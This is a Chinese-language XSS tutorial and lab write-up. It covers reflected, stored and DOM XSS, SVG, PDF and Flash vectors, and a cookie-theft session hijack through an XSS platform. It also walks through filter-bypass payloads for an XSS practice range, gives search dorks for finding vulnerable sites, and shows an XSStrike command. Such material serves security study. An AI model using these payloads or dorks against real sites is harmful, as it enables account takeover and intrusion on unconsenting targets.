XSS跨站脚本攻击
漏洞原理:接受JS代码,输出JS代码解释执行
网站输出的内容,输入数据能控制。
黑盒XSS手工分析
1、页面中显示的数据找可控的(有些隐藏的)
2、利用可控地方发送JS代码去看执行加载情况
3、成功执行即XSS,不能成功就看语句输出的地方显示(过滤)
4、根据显示分析为什么不能执行(实体化,符号括起来,关键字被删除等)
绕过常用标签
xss常用标签绕过总结1
xss常用标签绕过总结2
反射型(非持续性)
接受正常的输出,将其更改后执行js代码
执行了js弹窗
x=<script>alert(1)</script>
标签换成<img执行刚刚的xss语句,并不能执行成功
x=<script>alert(1)</script>
如果报错就执行“alert(1)”
x onerror="alert(1)">
查看源代码可以看到,js语句已经拼接成功
嵌套xiaodi8.com
x=<iframe%20src%20="http://www.xiaodi8.com">test</iframe>
案例
可以看到http accept被显示出来,并且是我们可以控制的。
burp抓包添加js语句
<script>alert(1)<script>
放包后成功弹窗
存储型(持续性)
持续化的XSS攻击方式,将恶意代码存储于服务器,当其他用户再次访问时触发,造成XSS攻击。
案例
后台有登录日志
重新回到登录框,构造js语句
<script>alert(123)</script>
再登录后台,js语句执行成功
查看源代码可以看到js语句
Dom型(非持续性)
通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。
页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。
案例
Google语法
edu.cn inurl:url=http
利用就将js语句更改
url=javascript:alert(1)
SVG-xss
在svg文件中插入js语句
上传svg文件,但是文件不支持,直接复制图片地址
访问弹窗
PDF-xss
使用pdf编辑器,打开属性,添加动作,选择执行js语句
app.alert(1)
上传pdf到网站
访问网站链接,执行xss
Flash-xss
使用网站上的本身有的swf文件进行反编译,常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
fofa语法
"phpwind" && icon_hash="-1005349246"
查找到ExternalInterface.call
获取jsobject的变量再用到ExternalInterface.call
uploader.swf?jsobject=alert(1)
因为配置问题访问swf文件直接下载,就复现不了。
cookie盗取
小皮面板
谷歌浏览器充当攻击者,edge浏览器充当管理员
搭建xss平台,配置好获取cookie的js
生成payload
将js语句插入到有xss漏洞中
当管理员登录到后台后会获取到cookie
复制cookie信息到cookie插件中保存
访问后台地址http://192.168.100.102:9080/10F34D#/home/logs/成功访问到后台
xss靶场
绕过
第一关
第二关
直接输入js语句无法执行,F12打开对应位置,看到有引号
直接引号闭合
"><script>alert(1)</script>
第三关
实体化标签
使用标签事件绕过
' onfocus=javascript:alert() '
第四关
”onfocus=javascript:alert()
第五关
on被过滤利用其它标签绕过
"> <a href=javascript:alert()>xxx</a> <"
第六关
<script>alert(1)</script>
script被过滤
大小写绕过
"><script>alert(1)</script><"
第七关
过滤了script
<script>alert(1)</script>
双写绕过
"><scrscriptipt>alert(1)</scrscriptipt><"
第八关
过滤script,大小写双写都不能绕过
unicode编码
javascript:alert(1)
javascript:alert(1)
第九关
需要字符串中带有http://
unicode编码
javascript:alert(1)
javascript:alert(1)
拼接上http://
javascript:alert(1)('http://')
第十关
隐藏属性触发闭合
修改标签鼠标点击触发js语句
?t_sort=" onfocus=javascript:alert() type="text
XSS工具
项目地址
python xsstrike.py -u "http://192.168.100.2:1002/level11.php"
复制payload成功绕过